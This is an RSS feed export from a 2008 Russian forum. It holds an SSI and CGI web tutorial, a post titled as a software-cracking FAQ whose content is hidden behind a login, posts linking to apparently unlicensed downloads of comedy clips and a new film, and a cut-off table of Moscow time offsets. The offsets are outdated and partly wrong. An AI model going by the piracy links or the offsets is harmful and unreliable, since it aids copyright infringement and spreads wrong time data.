						&lt;p&gt;В данном примере запускается программа counter.cgi, которая подсчитывает число посетителей данной страницы и записывает его в файл или в базу данных. После этого результат отображается в месте, где стоит строка &lt;span style=&quot;color: green&quot;&gt;&amp;lt;!--#exec cgi=&amp;quot;/cgi-bin/counter.cgi&amp;quot;--&amp;gt;&lt;/span&gt;.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (amper91)</author>
			<pubDate>Sat, 26 Jan 2008 23:50:50 +0300</pubDate>
			<guid>https://pkhelper.eurobb.ru/viewtopic.php?pid=307#p307</guid>
		</item>
		<item>
			<title>Шаг 3. Переменные окружения</title>
			<link>https://pkhelper.eurobb.ru/viewtopic.php?pid=306#p306</link>
			<description>&lt;p&gt;При отправке запроса от браузера, на веб-сервер также пересылается техническая информация об определенных параметрах браузера и операционной системы. Веб-сервер в свою очередь одновременно с запрашиваемой информацией возвращает и некоторые свои параметры. Таким образом, браузер и веб-сервер обмениваются данными, которые называются переменные окружения. Эти переменные можно применять в своих целях и отображать их на веб-странице.&lt;/p&gt;
						&lt;p&gt;При использовании SSI общий синтаксис вывода определенной переменной окружения будет следующий.&lt;/p&gt;&lt;div class=&quot;quote-box quote-main&quot;&gt;&lt;blockquote&gt;&lt;p&gt;&amp;lt;!--#echo var=&amp;quot;переменная&amp;quot;--&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;Некоторые переменные с их описанием перечислены в табл. 3.1. Заметьте, что все имена пишутся заглавными символами. Хотя это условие и необязательно, именно такая форма записи является традиционной и устоявшейся.&lt;br /&gt;&lt;img class=&quot;postimg&quot; loading=&quot;lazy&quot; src=&quot;https://i033.radikal.ru/0801/75/04de8cb20181.jpg&quot; alt=&quot;http://i033.radikal.ru/0801/75/04de8cb20181.jpg&quot; /&gt;&lt;br /&gt;&lt;img class=&quot;postimg&quot; loading=&quot;lazy&quot; src=&quot;https://i010.radikal.ru/0801/b1/868b3689bae5.jpg&quot; alt=&quot;http://i010.radikal.ru/0801/b1/868b3689bae5.jpg&quot; /&gt;&lt;br /&gt;&lt;img class=&quot;postimg&quot; loading=&quot;lazy&quot; src=&quot;https://i019.radikal.ru/0801/d7/4ab28b612c65.jpg&quot; alt=&quot;http://i019.radikal.ru/0801/d7/4ab28b612c65.jpg&quot; /&gt;&lt;/p&gt;
						&lt;p&gt;В примере 3.1 показано использование переменных окружения для отображения на веб-странице требуемой информации.&lt;br /&gt;&lt;strong&gt;Пример 3.1. Вывод значения переменной DOCUMENT_ROOT&lt;/strong&gt;&lt;/p&gt;&lt;div class=&quot;quote-box quote-main&quot;&gt;&lt;blockquote&gt;&lt;p&gt;&amp;lt;!DOCTYPE HTML PUBLIC &amp;quot;-//W3C//DTD HTML 4.01 Transitional//EN&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;/p&gt;
						&lt;p&gt;Путь к корневой папке сайта: &amp;lt;!--#echo var=&amp;quot;DOCUMENT_ROOT&amp;quot;--&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;Значения переменных окружения можно посмотреть с помощью программы, написанной на языке программирования Perl (пример 3.2).&lt;br /&gt;&lt;strong&gt;Пример 3.2. Вывод переменных окружения&lt;/strong&gt;&lt;/p&gt;&lt;div class=&quot;quote-box quote-main&quot;&gt;&lt;blockquote&gt;&lt;p&gt;#!/usr/bin/perl&lt;br /&gt;print &amp;quot;Content-type: text/html\n\n&amp;quot;;&lt;br /&gt;print &amp;quot;&amp;lt;html&amp;gt;\n&amp;lt;body&amp;gt;\n&amp;quot;;&lt;br /&gt;print &amp;quot;&amp;lt;table border=0 cellspacing=10 width=100%&amp;gt;\n&amp;quot;;&lt;/p&gt;
						&lt;p&gt;print &amp;quot;&amp;lt;tr&amp;gt;&amp;lt;td align=right valign=top&amp;gt;$a&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;$b&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;\n&amp;quot; while ($a,$b) = each %ENV;&lt;/p&gt;
						&lt;p&gt;print &amp;quot;&amp;lt;/table&amp;gt;\n&amp;quot;;&lt;br /&gt;print &amp;quot;&amp;lt;/body&amp;gt;\n&amp;lt;/html&amp;gt;\n&amp;quot;;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;В цикле &lt;span style=&quot;color: green&quot;&gt;while&lt;/span&gt; программа «пробегается» по хэшу &lt;span style=&quot;color: green&quot;&gt;%ENV&lt;/span&gt; и передает ключ и значение переменным &lt;span style=&quot;color: green&quot;&gt;$a&lt;/span&gt; и &lt;span style=&quot;color: green&quot;&gt;$b&lt;/span&gt;, которые выводятся в ячейках таблицы.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (amper91)</author>
			<pubDate>Sat, 26 Jan 2008 23:50:26 +0300</pubDate>
			<guid>https://pkhelper.eurobb.ru/viewtopic.php?pid=306#p306</guid>
		</item>
		<item>
			<title>Шаг 4. Использование SSI</title>
			<link>https://pkhelper.eurobb.ru/viewtopic.php?pid=305#p305</link>
			<description>&lt;p&gt;Область применения SSI достаточно обширна, эту технологию используют для автоматического добавления на веб-страницу содержимого другого файла, вывода значений переменных окружения, встраивания результата выполнения CGI-программ и т.д. Сразу следует оговорить, что достаточно сложный сайт лучше целиком делать с использованием серверного языка программирования или воспользоваться готовым «движком» —- автоматизированной системой по управлению содержанием сайта. SSI же в основном применяется для HTML-документов, чтобы упростить процесс их создания и расширить возможности. В то же время, понятие «сложный сайт» достаточно размыто, так что можно сделать вполне интересный и полезный ресурс исключительно с помощью HTML и SSI.&lt;/p&gt;
						&lt;p&gt;Далее рассмотрим некоторые аспекты применения SSI на практике.&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;&lt;span style=&quot;font-size: 14px&quot;&gt;&lt;strong&gt;Добавление на веб-страницу содержимого другого файла&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Основное преимущество SSI заключается в том, что это технология позволяет вставлять содержимое текстового документа или HTML-файла в текущую веб-страницу. В случае добавления текстового файла, его содержимое вставляется без всякого форматирования. Для HTML-документа форматирование сохраняется, включая текст и теги.&lt;/p&gt;
						&lt;p&gt;Как правило, код HTML веб-страниц на сайте имеет повторяющуюся структуру. Например, верхняя часть («шапка») и нижняя часть («подвал») для всех веб-страниц остаются обычно неизменными. Логично было бы вынести их в отдельные файлы и подключать с помощью директивы include, как показано в примере 4.1.&lt;br /&gt;&lt;strong&gt;Пример 4.1. Встраивание содержимого файла в текущий документ&lt;/strong&gt;&lt;/p&gt;&lt;div class=&quot;quote-box quote-main&quot;&gt;&lt;blockquote&gt;&lt;p&gt;&amp;lt;!DOCTYPE HTML PUBLIC &amp;quot;-//W3C//DTD HTML 4.01 Transitional//EN&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;!--#include virtual=&amp;quot;/inc/header.html&amp;quot;--&amp;gt;&lt;/p&gt;
						&lt;p&gt;Содержание текущей веб-страницы&lt;/p&gt;
						&lt;p&gt;&amp;lt;!--#include virtual=&amp;quot;/inc/footer.html&amp;quot;--&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;В данном примере в текущий документ вставляется содержимое файла header.html и footer.html через директиву include. Параметр virtual задает путь к файлу относительно корня сайта.&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;&lt;span style=&quot;font-size: 14px&quot;&gt;&lt;strong&gt;Счетчик посетителей&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;На веб-странице часто требуется использовать динамические вставки, вроде, сколько человек прочитало данный документ. Для этого вначале требуется написать программу на одном из языков программирования. Программа должна при обращении к ней увеличивать счетчик посетителей на единицу и результат записывать в базу данных или файл. Затем вызов программы происходит одним из следующих способов.&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;&lt;span style=&quot;font-size: 14px&quot;&gt;&lt;strong&gt;Способ 1. Применение директивы exec&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Для включения результата выполнения программы в текущую веб-страницу используется директива exec, как показано в примере 4.2. Значением параметра cgi служит путь к серверной программе.&lt;br /&gt;&lt;strong&gt;Пример 4.2. Применение директивы exec&lt;/strong&gt;&lt;/p&gt;&lt;div class=&quot;quote-box quote-main&quot;&gt;&lt;blockquote&gt;&lt;p&gt;&amp;lt;!DOCTYPE HTML PUBLIC &amp;quot;-//W3C//DTD HTML 4.01 Transitional//EN&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;/p&gt;
						&lt;p&gt;...&lt;/p&gt;
						&lt;p&gt;Статью прочитало, чел.: &amp;lt;!--#exec cgi=&amp;quot;/cgi-bin/counter.cgi?id=5&amp;quot;--&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;В данном примере программе counter.cgi передается параметр id со значением 5. Этот параметр выступает в качестве идентификатора статьи. Таким образом, используется один файл для подсчета числа читателей, а меняется только идентификатор статьи.&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;&lt;span style=&quot;font-size: 14px&quot;&gt;&lt;strong&gt;Способ 2. Использование директивы include&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Директива include может применяться не только для вставки HTML-файла в текущий документ, но и для вызова серверной программы (пример 4.3). &lt;br /&gt;&lt;strong&gt;Пример 4.3. Использование директивы include&lt;/strong&gt;&lt;/p&gt;&lt;div class=&quot;quote-box quote-main&quot;&gt;&lt;blockquote&gt;&lt;p&gt;&amp;lt;!DOCTYPE HTML PUBLIC &amp;quot;-//W3C//DTD HTML 4.01 Transitional//EN&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;/p&gt;
						&lt;p&gt;...&lt;/p&gt;
						&lt;p&gt;Статью прочитало, чел.: &amp;lt;!--#include virtual=&amp;quot;/inc/counter.php?id=5&amp;quot;--&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;В данном примере вызывается программа, написанная на PHP, она подсчитывает число обращений к определенной статье, которая однозначно определяется с помощью идентификатора. Результат выполнения программы вставляется в место, указанное директивой SSI.&lt;/p&gt;
						&lt;p&gt;Счетчик посетителей не единственная вещь, где могут пригодиться возможности SSI. Аналогичным способом на веб-страницу можно добавлять любые изменяемые данные — результат выполнения программ на сервере.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (amper91)</author>
			<pubDate>Sat, 26 Jan 2008 23:49:52 +0300</pubDate>
			<guid>https://pkhelper.eurobb.ru/viewtopic.php?pid=305#p305</guid>
		</item>
		<item>
			<title>Скачать Клипы</title>
			<link>https://pkhelper.eurobb.ru/viewtopic.php?pid=297#p297</link>
			<description>&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-size: 16px&quot;&gt;все любят Михаила Галустяна?))))вот вам возможность посмотреть на его ЛУЧШИЕ ВЫСТУПЛЕНИЯ=)&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;img class=&quot;postimg&quot; loading=&quot;lazy&quot; src=&quot;https://i040.radikal.ru/0801/ac/76567efb8909.jpg&quot; alt=&quot;http://i040.radikal.ru/0801/ac/76567efb8909.jpg&quot; /&gt;&lt;/p&gt;
						&lt;p&gt;&lt;strong&gt;Бонифаций – 4,99 мБ&lt;/strong&gt;&lt;br /&gt;&lt;a href=&quot;http://rapidshare.com/files/53053621/MG02-bonif.rar&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;рапида.ком&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://www.uploading.com/files/2BDHMBQH/Bonifaciy.rar.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Ап-лоад&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://letitbit.net/download/9d73e8194007/Bonifaciy.rar.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;ЛетиБит&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://depositfiles.com/ru/files/1647688&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Депозитка&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;&lt;strong&gt;Гадя Хренова – 45,7 мБ&lt;/strong&gt;&lt;br /&gt;&lt;a href=&quot;http://depositfiles.com/ru/files/1647770&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Депозитка&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://letitbit.net/download/07596c179943/gadya-Hrenova.rar.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;ЛетиБит&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://www.uploading.com/files/IVEDQS3U/gadya_Hrenova.rar.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Ап-Лоад&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://rapidshare.com/files/53053622/MG03-gadyaHr.rar&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Рапида.ком&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;&lt;strong&gt;Хор – 12,9 мБ&lt;/strong&gt;&lt;br /&gt;&lt;a href=&quot;http://rapidshare.com/files/53064682/MG08-Hor.rar&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Рапида.ком&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://www.uploading.com/files/SKYMN0JP/Hor.rar.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Ап-Лоад&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://letitbit.net/download/057c8b764713/Hor.rar.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;ЛетиБит&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://depositfiles.com/ru/files/1648101&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Депозитка&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;&lt;strong&gt;Как Миша Галустян жюри встречал – 33,2 мБ&lt;/strong&gt;&lt;br /&gt;&lt;a href=&quot;http://depositfiles.com/ru/files/1647818&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Депозитка&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://letitbit.net/download/5c16fd249561/Kak-Misha-zuri-vstrechal.rar.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;ЛетиБит&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://www.uploading.com/files/IW6YJGTH/Kak_Misha_zuri_vstrechal.rar.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Ап-Лоад&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://rapidshare.com/files/53057376/MG04-zuri.rar&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Рапида.ком&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;&lt;strong&gt;Надя Питерский – 22,8 мБ&lt;/strong&gt;&lt;br /&gt;&lt;a href=&quot;http://rapidshare.com/files/53064678/MG05-nadyaPit.rar&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Рапида.ком&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://www.uploading.com/files/HWVYMT3E/Nadya_Piterskoy.rar.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Ап-Лоад&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://letitbit.net/download/d36738713778/Nadya-Piterskoy.rar.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;ЛетиБит&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://depositfiles.com/ru/files/1647880&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Депозитка&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;&lt;strong&gt;Терминатор против Сталлоне – 18,7 мБ&lt;/strong&gt;&lt;br /&gt;&lt;a href=&quot;http://rapidshare.com/files/53064679/MG06-terminat.rar&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Рапида.ком&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://www.uploading.com/files/OFUHMS9T/Terminator_p_Stalone.rar.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Ап-Лоад&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://letitbit.net/download/d72345299621/Terminator-p-Stalone.rar.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;ЛетиБит&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://depositfiles.com/ru/files/1647990&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Депозитка&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;&lt;strong&gt;Золушка – 14,2 мБ&lt;/strong&gt;&lt;br /&gt;&lt;a href=&quot;http://rapidshare.com/files/53050575/MG01-zol.rar&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Рапида.ком&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://www.uploading.com/files/52JOO1X4/zolushka.rar.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Ап-Лоад&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://letitbit.net/download/b92ff6692166/zolushka.rar.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;ЛетиБит&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://depositfiles.com/ru/files/1648032&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Депозитка&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;&lt;strong&gt;ХХнуха – 24,6 мБ&lt;/strong&gt;&lt;br /&gt;&lt;a href=&quot;http://rapidshare.com/files/53064681/MG07-nuha.rar&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Рапида.ком&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://www.uploading.com/files/PRJY57AO/____nuha.rar.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Ап-Лоад&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://letitbit.net/download/4c74a0940243/--nuha.rar.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;ЛетиБит&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://depositfiles.com/ru/files/1648065&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Депозитка&lt;/a&gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (amper91)</author>
			<pubDate>Sat, 26 Jan 2008 01:37:32 +0300</pubDate>
			<guid>https://pkhelper.eurobb.ru/viewtopic.php?pid=297#p297</guid>
		</item>
		<item>
			<title>Обсуждение новинок не вышедших фильмов в прокат.</title>
			<link>https://pkhelper.eurobb.ru/viewtopic.php?pid=296#p296</link>
			<description>&lt;div class=&quot;quote-box answer-box&quot;&gt;&lt;cite&gt;Dominus написал(а):&lt;/cite&gt;&lt;blockquote&gt;&lt;p&gt;Сегодня ходил на этот фильм. Пошло - трава, секс, туалетный юмор - основа фильма. НО смешно!&lt;br /&gt;В некоторых эпизодах просто угар!&lt;br /&gt;Моя оценка по 10-ти бальной шкале - 6,5.&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;спасибо тебе большое за то что обосрал мне всю отценку о фильме,тока завтра хотел сходить...И ПОЙДУ=))))))&lt;/p&gt;
						&lt;p&gt;вот кстате небольшой отрывочек,так сказать нарезка из этого фильма:&lt;br /&gt;&lt;img class=&quot;postimg&quot; loading=&quot;lazy&quot; src=&quot;https://i007.radikal.ru/0801/69/312f68cb8c49.jpg&quot; alt=&quot;http://i007.radikal.ru/0801/69/312f68cb8c49.jpg&quot; /&gt;&lt;br /&gt;&lt;strong&gt;Жанр: Комедия&lt;br /&gt;Режиссер: Игорь Харламов&lt;br /&gt;Актеры: Дмитрий Нагиев, Армен Джигарханян, Римма Маркова, Владимир Турчинский, Борис Моисеев, Михаил Галустян&lt;br /&gt;Премьера Россия: 24 января 2008&lt;br /&gt;Страна: Россия&lt;/strong&gt;&lt;/p&gt;
						&lt;p&gt;Пародия на все известные современные отечественные фильмы, начиная с «Ночного Дозора» и заканчивая «9 ротой».&lt;/p&gt;
						&lt;p&gt;Всего один легкомысленный поступок может привести к тому, что собственную свадьбу придется праздновать на небесах. Вадик даже не догадывался, что, желая сделать праздник веселее, он попадет в Чистилище, где предстанет перед Небесной канцелярией и будет отчитываться за всю свою короткую, но насыщенную жизнь. Как доказать богам, что ты хороший, если у них записан каждый твой шаг?&lt;/p&gt;
						&lt;p&gt;Вадик пытается вспомнить о себе хоть что-то хорошее, но память его все время подводит. На восьмилетие он умудрился напиться, в армии устроил оргию, а в 90-е стал таким конкретным бизнесменом, что теперь ему в концепцию рая вписаться абсолютно нереально. Впрочем, есть и позитивный момент: своей жизнью он насмешил Бога, значит, еще не все потеряно.&lt;br /&gt;&lt;strong&gt;&lt;br /&gt;СКАЧАТЬ:&lt;/strong&gt;&lt;br /&gt;&lt;a href=&quot;http://depositfiles.com/ru/files/3067544&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Депозитка&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;&lt;a href=&quot;http://letitbit.net/download/5cdf33438650/------------------.mov.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;ЛетиБит&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;&lt;strong&gt;ПОСТ ДЛЯ ТЕХ КТО ТОЛЬКО ДУМАЕТ,ИДТИ ИЛИ НЕ ИДТИ!=)))))&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (amper91)</author>
			<pubDate>Sat, 26 Jan 2008 01:25:29 +0300</pubDate>
			<guid>https://pkhelper.eurobb.ru/viewtopic.php?pid=296#p296</guid>
		</item>
		<item>
			<title>скачка файлов с сервера.</title>
			<link>https://pkhelper.eurobb.ru/viewtopic.php?pid=292#p292</link>
			<description>&lt;p&gt;&lt;strong&gt;Уважаемый гость,если вы нашли что нибудь интересное на нашем сервере и хотите скачать,то зарегистрируйтесь,иначе вы увидите это:&amp;quot;&lt;span style=&quot;color: red&quot;&gt;Уважаемый гость,что бы увидеть ссылки для скачки вам нужно зарегистрироваться&lt;/span&gt;&amp;quot;&lt;br /&gt;Так что регимся и качаем)))))))))&lt;/strong&gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (amper91)</author>
			<pubDate>Fri, 25 Jan 2008 19:54:45 +0300</pubDate>
			<guid>https://pkhelper.eurobb.ru/viewtopic.php?pid=292#p292</guid>
		</item>
		<item>
			<title>Обсуждение и заказ клипов.</title>
			<link>https://pkhelper.eurobb.ru/viewtopic.php?pid=289#p289</link>
			<description>&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;font-size: 16px&quot;&gt;Тут можете обсудить качество клипа,его содержание,а так же заказать клип который хотите посмотреть.&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (amper91)</author>
			<pubDate>Fri, 25 Jan 2008 18:56:59 +0300</pubDate>
			<guid>https://pkhelper.eurobb.ru/viewtopic.php?pid=289#p289</guid>
		</item>
		<item>
			<title>FAQ - Как ломать программы</title>
			<link>https://pkhelper.eurobb.ru/viewtopic.php?pid=288#p288</link>
			<description>&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;&lt;span style=&quot;font-size: 14px&quot;&gt;&lt;strong&gt;FAQ - Как ломать программы&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
						&lt;p&gt;Q: Каким отладчиком лучше всего пользоваться? Какие отладчики можно&lt;/p&gt;
						&lt;p&gt;пpименять под дpугие опеpационки?&lt;/p&gt;&lt;div class=&quot;quote-box hide-box term-login&quot;&gt;&lt;cite&gt;Скрытый текст:&lt;/cite&gt;&lt;blockquote&gt;&lt;p&gt;Для просмотра скрытого текста - &lt;a href=&quot;/login.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;войдите&lt;/a&gt; или &lt;a rel=&quot;nofollow&quot; href=&quot;/register.php&quot; target=&quot;_blank&quot;&gt;зарегистрируйтесь&lt;/a&gt;.&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;
						&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;Эта статья предназначена только для ознакомительных целей. Ни в коем случае не реализовывайте на практике то, что Вы прочитаете, так как Вы несете полную ответственность за свои поступки в соответствии с действующим законодательством. Я не отвечаю за достоверность информации и не несу ответственности за Ваши поступки!&amp;#160; Все что вы делаете, вы делаете на свой страх и риск!!!&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
						&lt;p&gt;Уважаемые юзеры!!текст этой темы спрятан!скажу сразу что флуд будет удаляться!!!!так что пишем глупые вопросы получаем умные ответы))))))))&lt;/p&gt;</description>
			<author>mybb@mybb.ru (ZEUS)</author>
			<pubDate>Fri, 25 Jan 2008 18:44:59 +0300</pubDate>
			<guid>https://pkhelper.eurobb.ru/viewtopic.php?pid=288#p288</guid>
		</item>
		<item>
			<title>Разница во времени относительно Москвы других городов России</title>
			<link>https://pkhelper.eurobb.ru/viewtopic.php?pid=287#p287</link>
			<description>&lt;p&gt;Абакан&amp;#160; 	+4&lt;br /&gt;Альметьевск&amp;#160; &amp;#160; 0&lt;br /&gt;Армавир 	 0&lt;br /&gt;Астрахань 	+1&lt;br /&gt;Балаково 	0&lt;br /&gt;Балашов 	0&lt;br /&gt;Барнаул 	+3&lt;br /&gt;Белгород 	0&lt;br /&gt;Белогорск 	+7&lt;br /&gt;Березники 	+2&lt;br /&gt;Бийск 	+3&lt;br /&gt;Биробиджан 	+7&lt;br /&gt;Благовещенск 	+7&lt;br /&gt;Братск 	+5&lt;br /&gt;Брянск 	0&lt;br /&gt;Владивосток 	+7&lt;br /&gt;Владимир 	0&lt;br /&gt;Волгоград 	0&lt;br /&gt;Волжский 	0&lt;br /&gt;Вологда 	0&lt;br /&gt;Воронеж 	+1&lt;br /&gt;Глазов 	+1&lt;br /&gt;Горно-Алтайск 	+4&lt;br /&gt;Екатеринбург 	+2&lt;br /&gt;Иваново 	0&lt;br /&gt;Ижевск 	+1&lt;br /&gt;Иркутск 	+5&lt;br /&gt;Йошкар-Ола 	0&lt;br /&gt;Казань 	0&lt;br /&gt;Калининград 	-1&lt;br /&gt;Калуга 	0&lt;br /&gt;Кемерово 	+4&lt;br /&gt;Киров 	0&lt;br /&gt;Комсомольск-на-Амуре 	+7&lt;br /&gt;Кострома 	0&lt;br /&gt;Краснодар 	0&lt;br /&gt;Красноярск 	+4&lt;br /&gt;Курган 	+2&lt;br /&gt;Курск 	0&lt;br /&gt;Липецк 	0&lt;br /&gt;Магадан 	+8&lt;br /&gt;Магнитогорск 	+2&lt;br /&gt;Миасс 	+2&lt;br /&gt;Москва 	0&lt;br /&gt;Мурманск 	0&lt;br /&gt;Набережные Челны 	0&lt;br /&gt;Находка 	+7&lt;br /&gt;Нерюнгри 	+6&lt;br /&gt;Нефтекамск 	+2&lt;br /&gt;Нижневартовск 	+2&lt;br /&gt;Нижний Новгород 	0&lt;br /&gt;Нижний Тагил 	+2&lt;br /&gt;Новокузнецк 	+4&lt;br /&gt;Новороссийск 	0&lt;br /&gt;Новосибирск 	+3&lt;br /&gt;Новый Уренгой 	+2&lt;br /&gt;Ноябрьск 	+2&lt;br /&gt;Омск 	+3&lt;br /&gt;Орел 	0&lt;br /&gt;Оренбург 	+2&lt;br /&gt;Пенза 	0&lt;br /&gt;Пермь 	+2&lt;br /&gt;Петрозаводск 	0&lt;br /&gt;Петропавловск-Камчатский 	+9&lt;br /&gt;Пятигорск 	0&lt;br /&gt;Ростов-на-Дону 	0&lt;br /&gt;Рязань 	0&lt;br /&gt;Самара 	+1&lt;br /&gt;Санкт-Петербург 	0&lt;br /&gt;Саранск 	0&lt;br /&gt;Саратов 	0&lt;br /&gt;Смоленск 	0&lt;br /&gt;Сочи 	0&lt;br /&gt;Ставрополь 	0&lt;br /&gt;Стерлитамак 	+2&lt;br /&gt;Стрежевой 	+2&lt;br /&gt;Сургут 	+2&lt;br /&gt;Таганрог 	0&lt;br /&gt;Тамбов 	0&lt;br /&gt;Тольятти 	+1&lt;br /&gt;Томск 	+3&lt;br /&gt;Тула 	0&lt;br /&gt;Тюмень 	+2&lt;br /&gt;Улан-Удэ 	+5&lt;br /&gt;Ульяновск 	+1&lt;br /&gt;Усть-Илимск 	+5&lt;br /&gt;Уфа 	+2&lt;br /&gt;Хабаровск 	+7&lt;br 